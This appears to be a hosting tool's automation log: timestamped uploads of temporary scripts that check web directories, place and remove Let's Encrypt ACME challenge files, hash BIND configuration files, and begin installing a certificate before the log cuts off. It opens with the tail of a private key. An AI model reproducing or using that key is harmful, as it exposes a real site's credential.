uefWyVcW45ty2Ssh0rgCyKrMETage8e/IIQ//okOVqt1MzBZuiE7ry6dGCtIG98Q
IYyUbtFI6bRNnlVgJ31M2hocMWBDSlVc6O5e+d9zOgPLRYitFiytCImnQAmocEYK
pI7Z0ULTKBOeDGCSd6XLVNBMZ3ln3e32q4yVB8pEM+pKWyE5fzERoKRRLRb4vyXD
2nKDpyD1GyXfTDbK57G7FldymTae7ByjvrHI96hhTyxPWqFFIUkWGNCdKisxtojn
StSKeyfSdzA8vVIhI6OPlh48c6V+haeuZuCdhQrhp1kCgYEA+fnak1Meay3jmPQe
a8qpU5cxyl9hxniyxUOufAFR1wCJUPbykOAT9/5hbptUeHoSefZJGKvOZUphzWRm
O1bqdKgNAtTYzEywX4moDABM4etsFTiVHfbgi4P/X0lwRszSIC1k0e0OSQGPK3mN
ir01pvHP4XkH2xikxbZOf8SMp0UCgYEAxkssd4xBjE5FSiJr2XE+Uq73DW86TFrU
YlKsbfjaQrg4k9wpBxsztolYPTQJ8MqdZ40FrYVF3Bj67vn+VReaVosKyaZvZnNK
rD23+Upch1Uy4hfw1ha1p723BmNSbmz6HMn3FgCvtgDnyv3DA2LS4hHhxXvKhwJQ
fmqE0ofrptsCgYBTOzLgzNMbAqt+WQHsCA17DKOCa2HF0JhNgCyPk2zpdn9CGwdG
36UmdGeCiWuFtbeDLlLGSSYuqaaI2b4EUfs8nlu+rpoE5B/xn4b5f/wZWOai5jUY
RgQbz/ZuhqhAmp/4IMUp9JFGE6PU6OMM59T+YhNCUqcf90OdpQbcGdhvNQKBgQCD
qMIbljqnaAjFklk9hN02lQlgGCwDKoO9zNrEIej5R8v5EMME/uC1IDhAWt8Gy+D7
Mj1E2yppWwSxy7c81HEbaTJ+dU2eHorEFi6jDOamzMD+MZss6uMuPt7ZFPVUcHMY
zliKeWYxWCSPOTJUezc991WKhAkS30yGwz7xcmHa5QKBgQC/49Q7pGbHtVlPGMkh
FWb0WKP8zM8SKIRDXQGI+aAStqmBdpdXE5nEVMc6Xc5ZOM6GXTUGeMLYmPehrnJB
ceh8xHDy5/FgiBsDvATZMDBgTXLqpsZsr31EXbMWhf8daJE+4DI7qT7tKSPiXc34
Il3XwFbUZRUNR/32eC4ugChVDg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-04 06:00:25: Establishing a connection
2025-12-04 06:00:26: Establishing a connection
2025-12-04 06:00:27:
PUT: /tmp/pkp833589
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-04 06:00:28:
chmod 755 /tmp/pkp833589; /tmp/pkp833589; rm /tmp/pkp833589
2025-12-04 06:00:28:
0
2025-12-04 11:55:55: Establishing a connection
2025-12-04 11:56:12: Establishing a connection
2025-12-04 11:56:12:
PUT: /tmp/pkp543977
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-04 11:56:13:
runuser -l bind -s /bin/bash -c '/tmp/pkp543977; rm /tmp/pkp543977'
2025-12-04 11:56:13:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-05 06:00:02: Establishing a connection
2025-12-05 06:00:03: Establishing a connection
2025-12-05 06:00:05:
PUT: /tmp/pkp941416
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-05 06:00:05:
chmod 755 /tmp/pkp941416; /tmp/pkp941416; rm /tmp/pkp941416
2025-12-05 06:00:06:
0
2025-12-06 06:00:02: Establishing a connection
2025-12-06 06:00:04: Establishing a connection
2025-12-06 06:00:05:
PUT: /tmp/pkp382244
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-06 06:00:06:
chmod 755 /tmp/pkp382244; /tmp/pkp382244; rm /tmp/pkp382244
2025-12-06 06:00:06:
0
2025-12-07 06:00:03: Establishing a connection
2025-12-07 06:00:04: Establishing a connection
2025-12-07 06:00:05:
PUT: /tmp/pkp937819
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-07 06:00:06:
chmod 755 /tmp/pkp937819; /tmp/pkp937819; rm /tmp/pkp937819
2025-12-07 06:00:06:
0
2025-12-08 06:00:02: Establishing a connection
2025-12-08 06:00:04: Establishing a connection
2025-12-08 06:00:05:
PUT: /tmp/pkp371861
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-08 06:00:05:
chmod 755 /tmp/pkp371861; /tmp/pkp371861; rm /tmp/pkp371861
2025-12-08 06:00:06:
0
2025-12-08 06:00:06: Establishing a connection
2025-12-08 06:00:07: Establishing a connection
2025-12-08 06:00:08:
PUT: /tmp/pkp612211
#!/bin/bash
if [ -d "/mnt/internal/www/theyoungdesigners_stage/public/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-08 06:00:09:
chmod 755 /tmp/pkp612211; /tmp/pkp612211; rm /tmp/pkp612211
2025-12-08 06:00:09:
1
2025-12-08 06:00:10: Establishing a connection
2025-12-08 06:00:11:
PUT: /tmp/pkp639414
#!/bin/bash
mkdir -p "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cd "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cat > Y1uD15-ktyTho0_p9KmXKzXMZJwkdOj3pzk5esZcmtI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Y1uD15-ktyTho0_p9KmXKzXMZJwkdOj3pzk5esZcmtI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Y1uD15-ktyTho0_p9KmXKzXMZJwkdOj3pzk5esZcmtI
2025-12-08 06:00:12:
chmod 755 /tmp/pkp639414; /tmp/pkp639414; rm /tmp/pkp639414
2025-12-08 06:00:12:
2025-12-08 06:00:15: Establishing a connection
2025-12-08 06:00:16:
PUT: /tmp/pkp989175
#!/bin/bash
mkdir -p "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cd "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
rm Y1uD15-ktyTho0_p9KmXKzXMZJwkdOj3pzk5esZcmtI
2025-12-08 06:00:17:
chmod 755 /tmp/pkp989175; /tmp/pkp989175; rm /tmp/pkp989175
2025-12-08 06:00:17:
2025-12-08 06:00:17: Establishing a connection
2025-12-08 06:00:18:
PUT: /tmp/pkp702294
#!/bin/bash
temp_file=$(mktemp)
TARGET=71986a4933a5df06d6ba64d41a00e6e1.crt
cat > $temp_file <<'endmsg'
11:b4:b1:4a:47:d6:d5:c0:32:a7:a0:60:73:cc:b4:bd
-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBV903uotjLty333d0WfSiVfgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
